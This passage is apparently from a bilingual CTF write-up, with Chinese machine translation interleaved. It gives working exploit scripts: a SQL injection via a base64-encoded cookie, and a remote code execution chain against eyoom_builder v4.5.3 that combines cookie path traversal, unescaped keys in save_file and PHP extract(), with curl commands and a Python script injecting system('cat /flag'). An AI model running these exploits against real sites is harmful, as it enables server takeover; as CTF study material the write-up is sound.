But, with cookies of preview_theme
we can chain with SQL injection to include other files instead of just the default one in the SQL.
但是,使用 cookie,我们可以与 SQL 注入链接以包含其他文件, preview_theme
而不仅仅是 SQL 中的默认文件。
The full decryption before going to $preview_theme
as follow
去之前的完整解密如下 $preview_theme
1 2 3 |
$a = htmlspecialchars(base64_decode(substr(base64_decode("IEp5QnZjaUF4UFRFZ0l3PT0="),1))); $b = preg_replace("/flag/i", "f-l-a-g", $a); echo $b; |
But isn’t htmlspecialchars
will block us? Looking at the changelog in here, it was mentioned that starting from PHP 8.1.0
it has set flags from ENT_COMPAT to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401
and our docker instance use PHP version 7.4.3
. To test with different PHP, we can use online compiler in here
但是 htmlspecialchars
威尔不是阻止了我们吗?查看此处的更改日志,提到从 PHP 8.1.0
它开始已经设置 flags from ENT_COMPAT to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401
了,我们的 docker 实例使用 PHP 版本 7.4.3
。要使用不同的PHP进行测试,我们可以在这里使用在线编译器
PHP 7.4.3 PHP 7.4.3的
PHP 8.1.0
Full script to read /flag
要阅读 /flag
的完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import requests, sys from base64 import b64encode s = requests.Session() url = sys.argv[1] # Register + Login data = { 'username': 'username', 'password': 'password' } res = s.post(url + '/register_process.php', data=data) res = s.post(url + '/login_process.php', data=data) # Bypass /flag with CONCAT() cookies = { 'preview_theme': b64encode(b' ' + b64encode(b"' union select 1,2,CONCAT('../../../../fla','g'),4 #")).decode() } res = s.get(url + '/index.php', cookies=cookies) print(res.text) |
CMS v4.5.3 CMS v4.5.3 版本
We received the source code of this application eyoom_builder == v4.5.3
. We found out that there is one interesting bug discovered by a security researcher at Stealien with title of Bug Hunting: The Importance of Vulnerability Chaining
我们收到了这个应用程序 eyoom_builder == v4.5.3
的源代码。我们发现Stealien的一位安全研究员发现了一个有趣的漏洞,标题为Bug Hunting:漏洞链的重要性
The article didn’t disclosed the full path to get the RCE
but atleast it give us a hint what to look at.
这篇文章没有透露获得的完整 RCE
路径,但至少它给了我们一个提示,让我们知道要看什么。
Based on the article there is an LFI vulnerability located in eyoom/class/theme.class.php
. The LFI could also lead to RCE if we could find a way to upload a PHP file with the content that we want.
根据该文章,LFI eyoom/class/theme.class.php
漏洞位于 中。如果我们能找到一种方法来上传包含我们想要的内容的 PHP 文件,LFI 也可能导致 RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
public function set_user_theme($arr) { // Get $_COOKIE['unique_theme_id'] if (get_cookie('unique_theme_id')) { $unique_theme_id = get_cookie('unique_theme_id'); } else { $unique_theme_id = date('YmdHis', time()) . str_pad((int)(microtime()*100), 2, "0", STR_PAD_LEFT); set_cookie('unique_theme_id',$unique_theme_id,3600); } // The cookies value will ends with .php and save into $file variable $file = $this->tmp_path . '/' . $_SERVER['REMOTE_ADDR'] . '.' . $unique_theme_id . '.php'; if (file_exists($file)) { // If the .php file exists it will include_once include_once($file); if ($is_shop_theme) { $arr['theme'] = $user_config['theme']; } else { $arr['shop_theme'] = $user_config['shop_theme']; } } // Save $arr value to $_config $_config = $arr; // Save the file in $file location with .php parent::save_file('user_config', $file, $_config); } |
That’s what the article were discussing about with the save_file()
function but we need to find by ourself where we could abuse it. Also this function will use addslashes()
on the $value
variable but not including $key
variable. If we could find a way to add a custom $key
, it could help us write the file with .php
extensions.
这就是本文讨论的功能 save_file()
,但我们需要自己找到可以滥用它的地方。此外,此函数将用于 addslashes()
变量, $value
但不包括 $key
变量。如果我们能找到一种方法 添加自定义 $key
,它可以帮助我们编写带有 .php
扩展名的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
public function save_file($outvar, $filename, $info=array(), $int=false) { $fp = @fopen($filename, 'w'); $contents = "<?php\n"; $contents .= "if (!defined('_EYOOM_')) exit;\n"; $contents .= "\$" . $outvar . " = array(\n"; if ($info != NULL) { foreach ($info as $key => $value) { if (!is_array($value)) { if (!$int) { if (!is_int($key)) { $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n"; } } else $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n"; } else { $arr = ''; foreach ($value as $k => $v) { if (!$int) { if (!is_int($key)) { $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\","; } } else $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\","; } if ($arr) { $arr = substr($arr,0,-1); $contents .= "\t\"" . $key . "\" => array(" . $arr . "),\n"; } } } } $contents .= ");\n"; @fwrite($fp, $contents); @fclose($fp); @chmod($filename, 0644); } |
With the save_file()
in eyoom/class/theme.class.php
, we can create .php
file anywhere in the server. We just need to create a cookies with md5("unique_theme_id") = base64_encode("../../../../../../var/www/html/data/tmp/poc")
. Also, we can change $file
location with the cookies, but what about the data in $config
?
使用 save_file()
in eyoom/class/theme.class.php
,我们可以在服务器中的任何位置创建 .php
文件。我们只需要创建一个 md5("unique_theme_id") = base64_encode("../../../../../../var/www/html/data/tmp/poc")
cookie。此外,我们可以使用cookie更改 $file
位置,但是其中 $config
的数据呢?
1 2 3 4 5 6 7 8 |
function get_cookie($cookie_name) { $cookie = md5($cookie_name); if (array_key_exists($cookie, $_COOKIE)) return base64_decode($_COOKIE[$cookie]); else return ""; } |
Looking at the same page theme.class.php
, I found out that we can set either theme
or shop_theme
. Thus the value will be used in set_user_theme()
shown at the previous codes above.
看同一页 theme.class.php
,我发现我们可以设置或者 theme
shop_theme
。因此,该值将在上面的代码中显示。 set_user_theme()
1 2 3 4 5 6 7 |
if (isset($_GET['theme']) || isset($_GET['shop_theme'])) { $_user['theme'] = clean_xss_tags(trim($_GET['theme'])); $_user['shop_theme'] = clean_xss_tags(trim($_GET['shop_theme'])); $_config = $this->set_user_theme($_user); } else { $_config = $this->get_user_theme(); } |
With this information, we can either use theme
or shop_theme
to write .php
file anywhere in the server.
有了这些信息,我们就可以在服务器的任何位置使用 theme
或 shop_theme
写入 .php
文件。
1 2 3 4 5 |
# use ?theme curl "http://192.168.48.130:20007/?theme=test" -b "23ec334208a8862afdb7baa48ed00486=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvYw==" # use ?shop_theme curl "http://192.168.48.130:20007/?shop_theme=test" -b "23ec334208a8862afdb7baa48ed00486=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvYw==" |
So we can now create a .php
file anywhere in the server, but we are still not able to write anything inside the php file. Then I found out a possible endpoint eyoom/core/member/push_info.php
that we could abuse.
因此,我们现在可以在服务器的任何位置创建一个 .php
文件,但我们仍然无法在 php 文件中写入任何内容。然后我发现了一个我们可以滥用 eyoom/core/member/push_info.php
的可能端点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
<?php // Load common.php $g5_path = '../../..'; include_once($g5_path.'/common.php'); // Check if $_POST['mb_id'] isset or not $mb_id = isset($_POST['mb_id']) ? trim($_POST['mb_id']) : ''; if (!$mb_id) exit; // Check if file exists $push_file = $push_path.'/push.'.$mb_id.'.php'; if (file_exists($push_file)) { include_once($push_file); } else exit; // Loop each $push_item array and check if got value or not $push_item = array( 'respond', 'memo', 'follow', 'unfollow', 'subscribe', 'upsubscribe', 'likes', 'guest', 'levelup', 'adopt', ); foreach ($push_item as $val) { if ($push[$val]) { $item = $val; $push_tocken = true; break; } } // Check if $push_tocken true if ($push_tocken) { // Check if push[$item]['alarm'] got any value. If yes, it will trigger save_file() if (!$push[$item]['alarm']) { $push[$item]['alarm'] = true; $qfile = new qfile; $qfile->save_file('push',$push_file,$push); } } |
The folder push
is not available in my docker when fresh install. Let’s try register a new user first. With a valid user session, we can see its tying to send a POST
request to /eyoom/core/member/push_info.php
every 1 minute.
全新安装时,该文件夹 push
在我的 docker 中不可用。让我们先尝试注册一个新用户。对于有效的用户会话,我们可以看到它每 1 分钟发送一次 POST
请求 /eyoom/core/member/push_info.php
的绑定。
With this request, the folder push
will be created in /var/www/html/data/member/push/
通过此请求,将在 push
/var/www/html/data/member/push/
Now we can try create a file into this folder with mb_id == poc
.
现在我们可以尝试使用 mb_id == poc
.
1 2 3 4 5 |
# Base64 Encode Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvbWVtYmVyL3B1c2gvcHVzaC5wb2M= # Base64 Decode ../../../../../../../../var/www/html/data/member/push/push.poc |
Inside push_info.php
, we noticed it will traverse back three (3) times and include common.php
. Inside the file common.php
, we noticed familiar function that we saw during preliminary round which is extract()
function.
在里面 push_info.php
,我们注意到它会向后遍历三 (3) 次,并且 include common.php
.在文件中 common.php
,我们注意到我们在初赛中看到的熟悉的函数,即 extract()
函数。
1 2 3 4 5 6 7 8 |
# Current path (html/eyoom/core/member/push_info.php) $g5_path = '../../../'; include_once($g5_path.'/common.php'); # common.php (html/common.php) @extract($_GET); @extract($_POST); @extract($_SERVER); |
Since, it includes in push_info.php
, we can abuse this to set the variable $push
to have some value so it will trigger the save_file()
function. We know with $push[$item]['alarm'] == false
and push_tocken == true
, we could trigger the save_file()
. Thus the payload will be as follow:
由于它包含在 中 push_info.php
,我们可以滥用它来设置变量 $push
具有某个值,以便它将触发函数 save_file()
。我们知道 和 $push[$item]['alarm'] == false
push_tocken == true
,我们可以触发 save_file()
.因此,有效载荷如下:
1 |
mb_id=poc&push[memo][alarm]=0&push[".phpinfo()."]=test |
Run again the request will include
the file as it exists
再次运行请求, include
将文件原样运行
The full script to get the flag as shown below
获取标志的完整脚本,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import requests, sys import hashlib import base64 s = requests.session() TARGET = sys.argv[1] # Login data = {"url":"%2f","mb_id":"test1234","mb_password":"test123@!!!"} r = s.post(TARGET+"/bbs/login_check.php",data=data, allow_redirects=False, proxies={"http":"127.0.0.1:8080"}) if r.status_code == 302: print("[+] Login Successfull") else: exit() # Create .php file filename = b"shell" cookies = { hashlib.md5(b"unique_theme_id").hexdigest(): base64.b64encode(b"../../../../../../../var/www/html/data/member/push/push."+filename).decode() } r = s.get(TARGET+"/?theme=poc",cookies=cookies, proxies={"http":"127.0.0.1:8080"}) print("[+] "+filename.decode()+".php created") # Inject php code to read file data = { "mb_id":filename, "push[memo][alarm]":0, "push[\".system(\"cat /flag\").\"]":"nothing" } r = s.post(TARGET+"/eyoom/core/member/push_info.php",data=data) print("[+] Execute PHP file...") r = s.post(TARGET+"/eyoom/core/member/push_info.php",data=data) print(r.text) |